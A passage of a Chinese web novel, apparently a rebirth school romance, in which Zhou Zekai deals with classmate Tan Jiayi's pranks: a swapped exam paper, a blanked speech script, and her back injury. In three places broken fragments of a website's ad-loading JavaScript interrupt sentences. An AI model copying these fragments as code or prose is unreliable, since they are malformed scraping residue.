上午的语文考试风平浪静,他也没主动找谭佳宜说话,他想着考试期间还是别打扰她了,反正之后一起相处的时间还长着呢。 直到下午的数学考试仍然无事发生,就在周泽楷以为谭佳宜估计是自动屏蔽他时,物理考试开始,试卷从前往后依次传着,传到谭佳宜时她没急着往后传。周泽楷没搞明白是怎么一回事,还以为是缺卷子,正要举手示意老师时,桌子上飘来一张试卷。 谭佳宜没回头,只是把胳膊往后一伸,也没等周泽楷来接,就把手松开了。 试卷不偏不倚地掉落在周泽楷桌子上,背面朝上,印刷得清晰,一点墨迹的瑕疵也没有。 但当他把试卷翻过来时,姓名栏赫然写着“谭佳宜”,学号一栏没涂卡,但上面的数字却写上了。 周泽楷顿时有点懵,谭佳宜这是要和他唱哪出戏! 他细细思虑了一番,她既然这样做了,那么大概率会在自己的卷子上写他的名字,如果他改回去,最后出现两份周泽楷的卷子,而没有谭佳宜的卷子,肯定会惊动老师,这种情况吃亏的是她。 如果他不改,那么他们都可以任意控制对方的分数,她八成是不想让他考高分,但如果他也随便写的话,她同样占不到什么便宜。 看似是个怎样都不聪明的举动,可对象如果是周泽楷的话,情况就不一样了。 因为她断定他会帮她认真写,在他这儿,这场豪赌没有输的可能。 好吧,没错。周泽楷承认谭佳宜赢了,他确实不会把名字改回来,也不会随便乱写。 既然她不想让自己考好就依她的来吧,只是周泽楷觉得这招实在有点幼稚。他不自觉地轻笑了一声。 刚一笑出声,前面谭佳宜写字的手突然停了片刻。她的确没想到他还笑得出来,周泽楷这样反常的表现竟让她心里有点没底。 不过覆水难收,她还是打算赌一把,在名字栏上写下“周泽楷”几个字。 你应该不会让我失望吧,周泽楷,我倒要看看,成绩出来的时候你还笑不笑得出来。 5. “抢金店”! 被考试支配的一天在放学铃声中告一段落,十一班的同学也陆续收拾好东西准备回家。 周泽楷用余光观察着旁边的谭佳宜,正当她起身离开时,他也连忙开始收拾东西,在她走出教室门口时跟着离开了座位。 晚上的风是从江边吹过来的,带着些许潮气,送来秋的凉爽,却并不觉干燥。 周泽楷就在后面不远不近地跟着谭佳宜,看着她的马尾辫被风吹得扬起,蓝白短袖在单薄的背上飘飘荡荡。 两人一前一后穿过校园里熙攘的人群,仿佛只是两个素不相识的陌生人。 周遭的人群渐渐消退,晚夜的宁静悄悄显露,路灯将二人的影子拉得老长。周泽楷一路跟着她,一直走进了两人都无比熟悉的环境。 小区的墙面有些斑驳,木质的长廊也有了岁月的裂痕,中心的喷泉早已罢工,只剩下月光下的花影在其中摇曳。 前面人突然停住脚步,又是不冷不淡的一声。 “我真是低估你了,三年不见,还学会跟踪别人了。” 谭佳宜没有完全转过身来,只是侧着身子看他,好像下一秒扭头就要走。 既然已经发现了,那就上去说清楚,周泽楷几个快步,走到了她身前。 “我其实不是故意要跟着你,就是刚好顺路。” 他看到谭佳宜别过脸去,又是一副视而不见的样子,赶忙补充道:“确实挺巧的,我们又到一个小区了。以后能一起上学吗?” 谭佳宜冷笑一声:“我四点起,你也四点起?” 周泽楷着实被她的回答惊到了,他刚刚见识过谭佳宜写满了的习题册,难道她是早起一挂的? 不过四点起,也太夸张了吧! “四点学校不一定开门了,那你去哪儿?” “抢金店。怎么样,还一起吗?” 谭佳宜说这话时的神色淡漠,语气散漫,一如昨夜戏弄他的模样。果然褪去了学校里好学生的壳,校外的她才是如今真实的她。 “你去的话,我就陪你去。只是我去的话,金店应该会比较安全。所以,你干脆也别去了。” 谭佳宜只是随便一说,周泽楷倒是回答得很认真。她不想再和他纠结这个无聊的问题,开始加快了脚步。 “知道你腿长,也没必要走这么快嘛,等等我呗。”周泽楷一边快步跟上,一边说道。 “还有,你明天不会真的要四点起吧,那岂不是都睡不够八小时,睡不好上课怎么能专心听讲,况且现在我们才上高中,没准儿还要长身体……” 周泽楷在她身后絮絮叨叨的没完,也不顾她听没听进去。谭佳宜实在是不耐烦了,停住了脚步,转身对他说:“你不回家吗?” 不知不觉,竟已经走到了谭佳宜家楼下,而周泽楷家则是在前面一栋楼,刚才已经走过了。 周泽楷有些茫然,挠了挠脑袋说道:“对不起啊,我说着说着就忘了,都没注意到已经到你家楼下了。” 谭佳宜对他有些无语,还是没忍住把下午的疑惑问了出来:“最后一个问题,物理考试的时候你笑什么?” 周泽楷都不记得自己笑了,看来谭佳宜的耳朵是真的尖。不过也是,从小她观察能力就特别强,自己小时候那么多别人都不会注意到的情绪,也就只有她能察觉到了。 “这个嘛,你算得没错,我没把名字改回来,也是正常地把卷子写完了。只不过你是不是忘了,我的成绩可能除了我自己,估计也没人在意。” 他说到后面时,眼里闪过一丝落寞,可惜夜色太暗,谭佳宜并没有注意到。 谭佳宜听完他的话后,不知道是该为自己的计划对他造成不了多大伤害而惋惜,还是为他无人关心的状况而惋惜,她内心竟然有那么一瞬的动摇。 不,没什么可惋惜的。无人关心算什么,他至少没有体会过失去至亲的痛苦,至少没有尝过被亲人欺骗的滋味,至少不会在外人虎视眈眈下过活。 谭佳宜没说话,转身准备上楼时,周泽楷在身后朝她喊道:“如果你明天四点起的话,那我也奉陪。我是不会让你真的去抢金店的!” 谭佳宜嗤笑一声。 真是幼稚! 猎豹捕食总是会现在暗中观察,避免打草惊蛇。真正抢金店的人,又怎么会提前把计划告诉他人呢? 那天晚上,周泽楷又没睡个安稳觉。谭佳宜的行踪变化莫测的,上一世自己有时也不容易找着她。 虽然听上去像是玩笑话,但他心里多少还是有些惴惴不安。为了以防万一,他还是定了个三点五十的闹钟。 九月的汉城,凌晨四点还尚未苏醒,都笼罩在一片漆黑安宁之中。周泽楷在半睡不醒的状况下被闹钟唤醒,整个人却还是晕晕乎乎的。 他揉着惺忪的睡眼,简单洗漱了一番,打算下楼看看。 走下楼后,他终于看清谭佳宜家的窗子,里面竟真的也亮起了灯。看来他赌对了,谭佳宜的玩笑话果然是真假掺半。 太阳还未升起,又有阵阵微风吹过。周泽楷走得急,竟也忘了披件外套,只穿着一件单薄的校服短袖。凌晨的寒意让他打了个哆嗦,连忙双手环抱在胸前。 周泽楷看着谭佳宜家的灯暗了下去,却也迟迟没看见谭佳宜的身影。 过了约莫二十分钟,还是没有任何动静…… 周泽楷开始怀疑谭佳宜是不是真的没出门,只是想捉弄一下自己。只是她还专门四点起来开个灯,也是怪麻烦的。 又过了大约十分钟,周泽楷实在熬不住这夜晚逼人的寒气,终于准备起身回去。 其实谭佳宜关灯后是有下楼的,她在楼梯口的暗处看见了他。 少年背影单薄,在原地踱步,恍惚可见他正搓着手取暖。 发现周泽楷后,刚要出去的谭佳宜又往后退了回去,转身从后面的小门绕了出去。 真傻!怎么说什么话都信。这个点起也不知道穿件外套。 既然你乐意,那就在那儿继续等着吧。 她头也不回地走了,遁入周泽楷看不见的黑暗之中。 周泽楷回去后本想再睡一会儿,可是在床上翻来覆去怎么也睡不着。 四十分钟前原本还有一些困意,刚刚也全被冷风给吹散了。 他从床上坐起来,干脆拿了本物理竞赛 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 书打发时间。 从小周泽楷就对天体物理方面很感兴趣,小时候,一家子都围着妹妹转,他就在阳台用望远镜看星星。 这些星星仿佛就像他的朋友,在无数个黑夜里陪伴这他,让他感到不那么孤单。 其实在和谭佳宜认识前,他是先认识得她妈妈白言清。 白言清是科技馆副馆长,周泽楷五岁第一次去科技馆,也是第一次见到白言清。 当时的小周泽楷虽然不爱说话,但进入科技馆就像是进入了属于自己的天地,遇到不认识的字,他就跑去问周边的人。 白言清观察到这个小男孩对科技馆的热情,便主动给他讲解。周泽楷当时只觉得眼前这个阿姨既漂亮又耐心,要是自己的妈妈也像这样就好了。 所以,白言清在周泽楷心里也不只是谭佳宜的妈妈,她还是他兴趣路上的启蒙导师和引路人。 一想到白阿姨的悲剧,周泽楷心里又有些难言的悲怆。 他其实知道,这件事也不完全是他造成的,但他心里还是有个过不去的坎儿,总觉得自己是亏欠白阿姨她们的。 竞赛书倒是个打发时间的好东西,一个小时过去了,也仅仅翻了两页。就在周泽楷思考着一道题的关键步骤时,闹钟又响了。这次是六点整,五中要求走读生七点到班并且吃完早饭,所以正常情况六点也该起了。 周泽楷有些烦躁,没有什么是比思路突然被打断更糟糕的事情了。刚刚明明希望时间过得快些,现在却渴求着时间能按下暂停键。 他快速地洗漱完出门,在门口的早点铺子买了包子和豆浆,打算在路上解决。 包子铺旁有个卖牛奶的小摊,上面一排玻璃罐子里盛着雪白的鲜奶。他记得,小时候的谭佳宜特别爱喝鲜牛奶,她说鲜奶奶味儿更浓,更香甜。他还记得她不喜欢喝凉的,即使夏天也会喝热水。 所以,周泽楷特意挑了一罐热的,放进书包侧面,又加快了脚步,估摸着牛奶到学校时还是温的。 周泽楷来得早,班上基本没什么人,而且他又坐在最后一排,一般人来了也不会刻意往后看。 他在没人注意的时候,悄悄将牛奶放在谭佳宜书桌上,又写了张便条压在下面。 班上的同学陆陆续续地都到了,却也迟迟不见谭佳宜的身影。周泽楷不免有些担心,她不会今天不来学校吧。 指针指向了六点五十九,谭佳宜最终卡着点走到了自己的座位。她看着桌角摆着的牛奶,下面还有张便条,上面写着—— “早上好!昨天休息好了吗?”后面还画着个笑脸。 其实谭佳宜不用猜也知道是谁,这熟悉的牛奶,奇怪的问题,还有奇丑无比的笑脸…… 三年了,他这画技还是没什么长进啊。谭佳宜在心里无奈地叹了口气。 他不知道谭佳宜开灯后是不是有再去睡觉,但他确实没休息好,眼睛下方也挂着两个明显的黑眼圈。刚刚的物理竞赛书虽然短暂地提了会儿神,但现在困意又开始侵蚀他了。 谭佳宜虽然也是四点起的,但却没什么倦意。可能是习惯了吧,毕竟睡觉对她来说,大部分时间都是折磨…… 6. 新同桌&心慌乱 五中的改卷效率很高,第二天早上各科分数就出来了。 周泽楷其实还挺好奇自己的物理成绩的,如果是自己写的话,考得怎么样一般自己心里都有数,但这次自己分数的决定权完全在谭佳宜手里,所以周泽楷心里也没底。 总分表被公示在班级公告栏上,不过能升到五中的“精英”们可谓都身经百战,早已对这种公开处刑练就了一颗大心脏。 周泽楷起初是从上往下找的,果然需要一番功夫。他找了一圈,总算在夹缝中找到了自己的名字 第二十五名。 不前不后,无功无过,是一个中间的名次,在密密麻麻的分数表里完全注意不到。 周泽楷本来都做好考倒数的打算了,看来谭佳宜还是手下留情了。 他又扫了一眼各科成绩,其它科目都挺拔尖的,只是这个物理分数着实有点扎眼——59分! 他还真是佩服谭佳宜,这个控分确实牛逼,在及格线边缘徘徊,又不让你及格。 歹毒,着实歹毒! 他又习惯性地看了一眼自己名次上下的人,上面一名是何西飞,下面一名是白依依,都是老同学。 只不过他记得白依依成绩还是挺好的,一般都在班级前十,怎么也掉到这个位置了。 紧接着周泽楷又往上瞅了几眼,最让他惊讶的还是班级第一的名字——陈淮北!虽然上一世和他不在一个班,但名字也有几分耳熟,是在哪里见过呢? 周泽楷在脑海中仔细搜寻着前世的记忆,总算想起这个名字来。他依稀记得,陈淮北也是六中的,高三联考全省排名时,好像在前面见过几次这个名字。后来谭佳宜也和他提过在六中她有个劲敌,说得应该就是陈淮北了。 周泽楷回到座位时,谭佳宜在位子上一边转笔,一边写题。她好像身边自带屏障,将自己和周遭的喧闹分隔开来,即使是在刚公布成绩,班上如同炸开锅般的情况下,她依旧能稳坐如山。 周泽楷脑子里突然冒出之前高中班主任常说的一句话:学习必须要有定力,只有不受外界干扰你才能搞好学习。 要是之前的老班肯定喜欢谭佳宜这样的学生,没准儿看到后还要在全班大肆表扬一番。 可惜啊,生不逢人。 少女写题忘神,自然是没有动桌角的牛奶,但下面的字条倒是没在原位,而是被扔进了桌旁挂着的垃圾袋。 周泽楷早就料到她不会这么快领情,倒也没有灰心,你现在不喝也没事,没准儿是打算过会儿喝呢?周泽楷这样在心里安慰。 下一节课是班主任王老师的课,周泽楷听班上人都叫他楠哥,虽然不知道这是谁起的,但他也觉得这个称呼亲切了不少。 楠哥走进教室,也没再提考试的事儿,而是先环顾了教室一圈,突然指着周泽楷他们的方向说道:“最后面两个单桌的同学,应该是周泽楷和谭佳宜吧。” 他明明记得自己还没和楠哥打过招呼,楠哥怎么就记得自己的名字了,这难不成就是传说中班主任独有的天赋:两天就能认清班上所有人? “现在需要腾出一个桌子搁在走廊,方便晚自习进行答疑解惑。所以你们两个人要不坐一起吧,刚好有个同桌也方便照应。” 谭佳宜还犹豫着怎么找个理由拒绝,周泽楷马上一口答应下来:“没问题,老师,其实我也想要个同桌。” 班上的同学也都在此刻回头,霎时间,他俩成了全场的焦点。 在其他同学的眼里,这两位单拎出来都免不了让人瞩目,这下子又做同桌,那可真是天造地设,十分养眼。 白依依就坐在周泽楷前面两排,她回过头来时,周泽楷不免和她有了眼神交汇。她正赤裸裸地打量着周泽楷,以及他旁边的谭佳宜,一点儿也不避讳。 周泽楷总觉得她看他们的眼神有点儿不一样,但也说不出来哪里不同,总之是有些意味深长的。 白依依回头的时间有些久,旁边的男生只是往后瞟了一眼,也没再继续看。过了会儿,他拍了下她的脑袋,似乎是提醒她开始讲卷子了,白依依这才终于回过神来。 而她的同桌,好像是——陈淮北。 下课后,周泽楷想帮谭佳宜搬东西,刚发了新书,加上之前谭佳宜带过来的练习册,倒是有不少东西。 谭佳宜把抽屉先清空,把书全摞到桌子上,周泽楷刚要去帮她搬书时,谭佳宜却毫不领情地把他推到一边,又冷冷地撂下一句话:“用不着你帮忙。” 她的态度冷淡且坚定,上来就给周泽楷泼了盆冷水。 她刚抱起一摞书,不知哪个同学慌慌忙忙地从前面跑过来,一下子带到了谭佳宜摞在桌子上的一堆书。 书倒了倒不是什么大事,捡起来就行了,但糟糕的是掉落的书从身后正中谭佳宜的后背,她一个没留神,一下子连人带书跌倒在地。 桌子上的书和手上的书散落一地,谭佳宜有些狼狈地跪坐在书中。还好她反应及时,用双手撑着,还没殃及头脸。 那个冒冒失失撞着书的同学连忙蹲下道歉,又询问了谭佳宜的伤势,她只是摆摆手,小声说了句没事儿,但周泽楷明明听到,刚才她倒地时的闷哼声。 果然。还是这么嘴硬。 那个同学开始帮谭佳宜收拾地上的狼藉,旁边的同学也纷纷加入,其中自然也包括周泽楷。 东西收拾好后,谭佳宜勉强挤出微笑,向周围的人一一道谢,唯独没有看周泽楷一眼。 数学课是上午最后一节课,收拾完后,教室里的人也陆续离开,最后只剩下周泽楷和谭佳宜两人。 放书的时候,谭佳宜的手心露出来,上面一抹鲜红显得尤为刺眼,险些蹭到书上。 周泽楷看见她手心上的伤口,又根据当时她跌倒的姿势推断,当时书打在她后背时的力度可实在不轻。 他不放心地问她:“要不还是去医务室看看吧?” 谭佳宜不想向外人表现出自己脆弱的一面,更不想在他面前露出自己不堪的模样。她就算是很疼,也会尽力忍住。 “不用你管。”她还是如刚才一样,冷冷地说道。 这姑娘也是真坚强,周泽楷分明观察到她额角细碎的汗珠,想着这天儿也不热啊,冒这些汗肯定是…… “既然都是同桌了,自然应该时刻关注同桌的身体健康状况。所以,对不住了。”周泽楷眼疾手快地轻轻碰了一下她的后背,刚才伤着的地方一下子有了反应。 措手不及的疼痛袭来,谭佳宜本能地发出“嘶”的一声。 “还好没有相信你说的没事。那就只有再对不住一次了。” 周泽楷还没说完,背起谭佳宜就朝医务室方向走去。谭佳宜还没从刚才的疼痛中缓过神来,就已经在周泽楷背上了。 即使是这个时候,身后少女依然嘴硬道:“都说没事了,放我下来。” 她像一头倔牛想朝着反方向奔跑,而他则化身一位牛倌,拼命把她拉回正确的方向。 周泽楷也不管她怎么闹,反正就是不松手。她掐他,他受着,她威胁他,他当作没听见。他不顾路上同学的目光,就这么背着她,在静谧的午后,穿过人群,穿过教学楼,穿过集会广场,大步向前走去。 到了医务室,校医正准备下班,刚好看见少年背着女孩儿,急急忙忙地赶过来。校医刚要锁上的门又被推开,周泽楷抢着把谭佳宜的情况告诉了她。 “那我带她先进去看一下,你到外面等着吧。” 校医把周泽楷安置在外面,又示意谭佳宜到里面的床上坐着等她。 隔帘被拉上,校医让谭佳宜把衣服拉起来,看看伤势。不看不知道,一看吓一跳。谭佳宜刚被撞的地方有一块儿明显的紫红色,估计是冲击力太大,加上书本来就厚重,刚刚碰着的地方,没过多久就留下了印记。 周泽楷在外面百无聊赖地等着,他其实不喜欢消毒水的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 味道。小时候闻得太多,以至于现在一闻到那个味道就有些恶心想吐。 这倒不是因为他容易生病,而是妹妹周心雨打小体弱多病。父母起初顾及到他年级小,不放心他一个人在家,大半夜去医院也让他跟着一起去。之后他大些了,更是被要求承担起照顾妹妹的责任,有时候周心雨打吊瓶无聊,还非要让他一起陪着。 周泽楷也很奇怪,为什么妹妹事儿这么多,父母还是不厌其烦地哄着陪着,而自己身体好,不惹事儿,却始终得不到他们的青睐。他之前还幻想过如果自己生病,父母会不会多关心一下他,但他现在看清了,他生病只会遭更多罪,可能自己根本不配生病吧。 医务室的消毒水味儿没那么重,但还是让周泽楷感到有些头晕眼花。他尽量捂着鼻子,减少呼吸的频次。 外头的风有些大,他想去窗边透透气,刚起身时,旁边的帘子被风吹起,里头谭佳宜的校服从下面掀起,露出纤细的腰和白皙的脊背。 周泽楷慌忙转过身去,也忘了自己刚才要去干嘛。那一瞬间,脚步顿住,呼吸停滞,他只觉血液在身上翻涌,一下子烧红了脸颊,让大脑都罢了工。 这种感觉,比消毒水更加让人无措! 处理完伤口,校医给她开了点儿外用药,又交代了接下来几天的注意事项。最后,她用怪异的目光打量了周泽楷一番,又说道:“合着是背伤着了,也不是腿啊,刚才怎么还需要你背她来?” 周泽楷尴尬地笑了笑:“她刚才摔得太严重了,而且脊背损伤也会影响到走路快慢,我怕您一会儿下班了,这不就想着快点儿赶过来。” “哦,是这样啊。”校医半信半疑地点了点头,又嘱咐道:“下次可得小心,刚开学就伤着了,多不方便啊。还好不算特别严重,记得勤用药。” 他们拿过药,和校医打声招呼后就离开了。 回去的路上,周泽楷不忘再次叮嘱道:“校医的话你可要记得,一天换三次药,可别不当回事儿,处理不好是会留疤的。” “小题大做,真是啰嗦。”谭佳宜加快了步子,却还是甩不掉身后的周泽楷。 “你怎么偏偏选物理这门儿,你是信任我的能力还是确定我不会变心啊?” 谭佳宜终于放慢了脚步,转过身来:“所以你喜欢的物理都没及格,是什么滋味儿?” “挺好,一百分送你我挺开心的,但我觉得一百分给你少了,那么精确地把分数控制在59分,肯定花了不少心思吧,我觉得你水平比我高。” 周泽楷其实是想夸她,但谭佳宜却误以为他在阴阳怪气:“你从小就喜欢,我学的是皮毛,你学的是精髓,你才是高手。” 两人的对话颇有推杯换盏,互相恭维的意思,但她的语气一直轻轻的,却独在“高手”二字上刻意加重。 明耳人都听得出,她是在阴阳他。 可惜他的耳朵估计是坏了,根本没管后面几句话,关注点只在前一句话。 她说“从小就喜欢”,看来她还是记得的嘛。 “哦,原来你还记得我喜欢物理。确实,我这个人不容易喜欢上什么,不过一旦喜欢上了,就不会变心,对人、对事,都如此。”他说到“人”的时候话音一滞,扭头盯着旁边的谭佳宜。 谭佳宜察觉到了他的目光,也不知为什么,只觉得少年的目光真挚灼人。这一瞬,她的心终于慌了,这种慌乱,是她万万不想发生的,但也是她怎么都按捺不住的。 谭佳宜不敢再看他,更不愿直面自己的内心,只能加快步伐掩饰莫名的慌乱。 “我还有事儿,别跟着我了。” “不吃饭了吗?” 周泽楷的声音在身后回荡,但少女头也不回地走进了转角的卫生间,这下他也不好再跟上去,只能作罢。 你现在不想理我也没事儿,但只要你好好的,别做什么傻事儿就行。 来日方长,我的新同桌…… 7. 再次捉弄 下午上课的时候,谭佳宜又是踩着点进教室的。 这节课是楠哥的数学课,讲的内容他们暑假基本都预习过。高中刚开始的知识不算难,所以大家基本都会在下面偷偷写题,遇到关键的地方再认真听一下。 楠哥属于开明派的老师,能理解同学们这种心理,只要不做太过分的事儿扰乱课堂,一般都会睁一只眼闭一只眼。 周泽楷扭头瞥见谭佳宜桌角的牛奶不见了,还有些惊喜。 她这是喝了我送的牛奶?看来今天陪她去医务室是有加分的。 周泽楷轻轻戳了一下谭佳宜:“牛奶好喝吗?应该还是原来的味儿吧。” 可对方仍然纹丝不动,继续写着自己的练习册。 怎么又不理我了? 不过周泽楷丝毫不气垒,似乎也默认她不理自己是正常情况:“你现在受伤了,要多喝牛奶补充蛋白质,伤口才愈合得快。” 周泽楷厚脸皮地在谭佳宜耳边絮絮叨叨,有一瞬,谭佳宜真的想立马举手,打小报告揭发他! 但这种想法还是被打消了。她才没有那么幼稚,这种小学生招式,堂堂高中生怎么会再用。 谭佳宜想堵住他的嘴,只好撕下一张便条,飞速写完后,以迅雷不及掩耳之势往旁边一推。 周泽楷怕打扰她做题,本来打算闭嘴了,结果对方传过来一张纸条。 他想着果然功夫不负有心人,她总算肯回应自己了。但打开纸条后,他顿时懵了,上面写着:我没喝,给猫喝了。 猫?哪里的猫? 合着他专门买给她的牛奶拿去喂猫了! 那小猫还真是好福气。 周泽楷在后面加上一句:你还养猫? 过了一会儿纸条再次被传过来:巷子里的猫。 周泽楷脑海中闪过第一天穿回来时的画面,小巷里好像是有只灰猫。他把纸条小心翼翼地推过去:灰色的? 不知又过了多久,周泽楷觉得差不多快下课了,纸条才再次被谭佳宜想起:黑白灰都有。 合着是一窝猫,不是一只猫啊。上次看到的小灰猫估计没几个月大,它应该有猫妈妈,还有兄弟姐妹…… 下课铃响起,周泽楷憋了一肚子的话终于可以说出来了。刚刚传纸条实在是磨人。 “所以你中午专门出校,就是为了喂猫?你不会还顺路去找了七哥?”周泽楷问这话时神色严肃了几分。 “我去哪儿是我的自由,还有,你怎么知道他叫七哥,你偷偷调查了?” 周泽楷突然想起来,虽然网吧叫七哥网吧,但上次见面七哥好像并没有说过他的名字,自己现在正常情况应该是不知道的。 他脑子开始高速运转,编了个自认为说得通的理由:“七哥挺出名的,我上次回去路上,在网吧周围遇见几个学生,也经常去这家网吧,他们告诉我网吧的老板就叫七哥,是个高高瘦瘦的年轻人。我合理推测了下,应该就是他没错。” 谭佳宜似乎是相信了他的话,也没再深究这件事儿,转而又说道:“网吧不是你这种好学生该来的地儿,如果不想引火烧身的话,最好别再去。” 周泽楷觉得她的话既无理又好笑:“我这种好学生不能去,你这种好学生就能去了?” “反正我警告过你了,那种地方平时打个架也没人会管,你这细胳膊细腿儿的,到时候被打伤了,打残了,可别怪我没提醒你。” 她说的倒也不错,自己上一世确实在那儿吃过亏。记得大概是高二,一群人来网吧找事儿,混乱之中,一个啤酒瓶从砸过来,正中周泽楷的后脑勺,随即血洒现场。虽然缠了一个月的绷带,不过好在没有伤及颅内。 说来那次受伤他也算是因祸得福,之后,谭佳宜对他的态度也没之前那么冷了,也是她开始改变的一个转折点。 “那我就当你是在关心我了。不过,我想管什么事也是我的自由。所以,你要是有什么事,别瞒着我,我做不到置身事外。” 其实,要说周泽楷能帮什么忙,他还真有可用的地方。 他的父亲周志刚旗下有家子公司,而这家子公司的法务则是交给了她父亲的律所——佳行律所。 所以,只要她能打通周泽楷这层关系,让他想办法解除他父亲和佳行的合作,必然能给佳行带来重创。毕竟周志刚旗下的那家公司算是他最大的子公司,同样也是佳行的大客户。 但是不知道为什么,谭佳宜虽然不想让周泽楷好过,但她也不愿让他卷入这场纷争之中。 她和七哥已经踏出了这一步,就没有回头路。但他不一样,他是干净的,是清澈的,何必也涉入这泥潭之中呢? “那你自便。” 俩人总算结束了这番无果的对话,一个积极主动,一个消极回避,还不知道这场没有硝烟的斗争要进行到什么时候。 但周泽楷明白,要想真正把事情弄清楚,还是没那么简单。上一世尽管谭佳宜之后原谅他了,但她还是藏着很多秘密,或许这些事情,和之后程婉乔去找她也有关系。 周泽楷脑子有些乱,他只知道一头一尾,中间的过程还需要慢慢梳理,当务之急还是要先从当事人入手。 之后的几天,晚上周泽楷还是会跟着谭佳宜一起回家,毕竟他们住在一个小区,这点谭佳宜也拿他没办法。 这几天倒也是风平浪静,谭佳宜晚上放学后都是直接回家,也没去别处。 大部分时候周泽楷都是跟在她身后,只是偶尔进了小区才会跑上前搭几句话。他怕太黏人会给她造成困扰,更怕她有天会真的烦他。 不过还好,虽然谭佳宜还是一脸冷淡,但起码有时候还是会搭理他几句,即使是简短的“嗯”,“可能吧”也能给周泽楷些许安慰,至少她还是有点回应的。 开学没几天后,班上进行了班委选举,周泽楷竞聘的是班长一职。他初中担任过班长,觉得这个活儿还是挺锻炼人的。 但其实还有一个原因,这还得从小学的时候说起。当时的小周泽楷其实对当班干部一点儿自信也没有,加上又不善言辞,从来没有过这方面的想法。 但后来遇见谭佳宜,她妈妈鼓励他可以毛遂自荐,当个班干部试试,而且谭佳宜也说,觉得他很有当班长的潜能。 再后来,他初中就尝试了一回。这一当就是三年,而且还干得不错。 所以,高中他自然也想继续担任。 十一班实行班干民主选举制,由同学们投票决定。周泽楷几乎以压倒性的优势赢得了班长这个职位。 现在的高中生,尤其是重点中学的学生,一般都是以成绩看人。周泽楷虽然在开学考表现平平,但他还有一个放在哪儿都好使的优势,那就是外表一乘。 在不了解一个人品行的情况下,谁又不是三观跟着五官跑呢。 周泽楷原以为谭佳宜现在那样冷淡的性子,对班干选举不会感兴趣。但出乎意料的是,谭佳宜竟主动竞选了语文课代表。 结果自然和周泽楷一样,只不过原因除了长得漂亮,还有成绩好。毕竟她可是在刚刚过去的开学考里拿了全班第二,妥妥的学霸。 下来后周泽楷问她,明明理科更强,为什么要当语文课代表。 谭佳宜只是轻描淡写地解释说:总是做自己擅长的事挺没意思的,不逼自己一把,怎么知道自己的可能性有多大。 这话听起来挺励志的,甚至可以说有点鸡汤。但周泽楷后来才知道,这其中“可能性”的深意…… 之后的试用期里,周泽楷的班长和谭佳宜的语文课代表当得都挺好的,可以说深得民心。大家一致觉得他俩既负责又有能力,简直是天选班干。 也是这个时候,周泽楷才终于明白,谭佳宜在学校里除了对他态度“恶劣”一点,对其它人其实都挺不错的。虽说不上多亲近,但也总是报以礼貌微笑,也给同学们留下了不错的印象。 看来谭佳宜还挺双标的,怎么还搞区别对待啊! 不过周泽楷换个角度想,正是因为自己对于她很特殊,才会有区别对待,他倒也不想自己在她这儿,和其他同学一样。 他倒是很乐意把事情往好的方面想。 五中的开学典礼搞得实在是拖拉,直到开学快一个月了,校方才终于把这件事儿想起来。 周泽楷下课后,突然被楠哥喊到办公室去,本来以为会有什么班里的事儿要交代,没想到是要让他作为新生代表,在开学典礼上发言。 不知道学校怎么想的,不选开学考的第一陈淮北,而选他这个几个月前的中考第一。看来楠哥之前说开学考就是用来收心的,倒是没说没错。 开学典礼那天,不知道是不是校领导查过黄历,特意挑的黄道吉日。前几天都是阴雨蒙蒙,这一天突然放晴了。蓝天白云,碧空如洗,上午十点左右,就已经是骄阳烈日。 全校新生齐聚在集会广场,用仪式开启崭新的高中生活。惯常的流程是必不可少的,刚开始必然是要先聆听校领导讲话。 不过这个环节大家都不抱什么兴趣,无非是些老生常谈的套话,倒也没有翻出什么新花样,听得同学们都昏昏欲睡,只盼着早点结束。 所以,大家百无聊赖地听着这些陈词滥调,强撑着耷拉的眼皮,双手还没办法完全解放,时不时还得抬起来锻炼一下,好为尊贵的校领导鼓掌。 其实,最重要的不是典礼上讲什么,而是典礼上见着了什么人。不是一个班的平时难得碰上,但开学典礼却为全校所有新生,提供了一个抓学霸大佬,抓帅哥美女的好机会。 在这个方面,十一班可谓是万众瞩目的明星班级。作为按中考成绩分的尖子班,十一班不仅实力强,更重要的是还颜值高。 陈淮北和谭佳宜由于这次在开学考中大放异彩,这大半个月就已经快闻名全校了,甚至有把他俩内定为校花校草的趋势。 不过萝卜青菜各有所爱。 有人说十一班还有个大帅哥,虽然成绩可能不如陈淮北,但颜值绝对不输。 还有人说,谭佳宜好看是好看,但感觉十一班还有两个小美女,也挺有特色的,不比谭佳宜差。 只能说审美千差万别,各花入各眼。 校长总算结束了他的长篇大论,接着又是年级主任的一番啰里吧嗦。好不容易熬过了这两位领导的讲话,大家的兴致也被磨去了大半。 正午的太阳更加灼人,广场没有树荫,典礼不许带帽,所以大家的头脸都赤裸裸地暴露在阳光之下,有的甚至晒得通红。 终于轮到周泽楷上台了,他上去的瞬间,下面有不少人小声议论着。 十一班的气氛王何西飞忙感叹道:“原来班长才是隐藏的大佬啊,我听说新生代表这次选的是中考全市第一。” 他又拍了拍前面的陈淮北:“我还以为是淮哥你呢,看来我们班个个都深藏不露。” 前面的人没回头理他,依旧低着头闲散地插兜站着,不知道是听困了,还是晒得慌。 周泽楷向台下鞠躬后,从兜里掏出事先准备好的发言稿。当他打开那个折得方方正正的A4纸时,瞬间愣住了。 纸上什么也没有,只剩一片空白。 周泽楷承认,当时他脑子也如同这张白纸一样,有那么一瞬的空白。他似乎已经猜到了这是谁的所作所为,但是现在上台了,是谁做的也不重要了,重要的是怎么把这出戏唱下去。 台下的议论声减小了不少,这一停顿也把观众的目光一下子锁死,似乎都在屏着呼吸期待着他接下来的演讲。 周泽楷让自己镇定下来,快速在脑海里重新组织语言,接着深吸一口气,把刚拿出来的“空白稿”收了起来,接着扶正话筒清了清嗓子,缓缓开口道:“老师们好,同学们好,今天很高兴作为新生代表在这里发言。” 简洁的开场白后,他接着进入正题。“今天我本来是准备了讲稿的,但站在这里的时候,又觉得讲稿里的内容不足以表达出我想 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 说的话,所以,我今天打算即兴讲几句,可能不会太长,也可能说得不全面,但都是我的心里话。” 这番说辞在往届的开学典礼上是从未出现过的,不仅同学们来了兴致,连校领导也颇想听听,是怎么个即兴演讲。 “我想说的第一个关键词是初心。 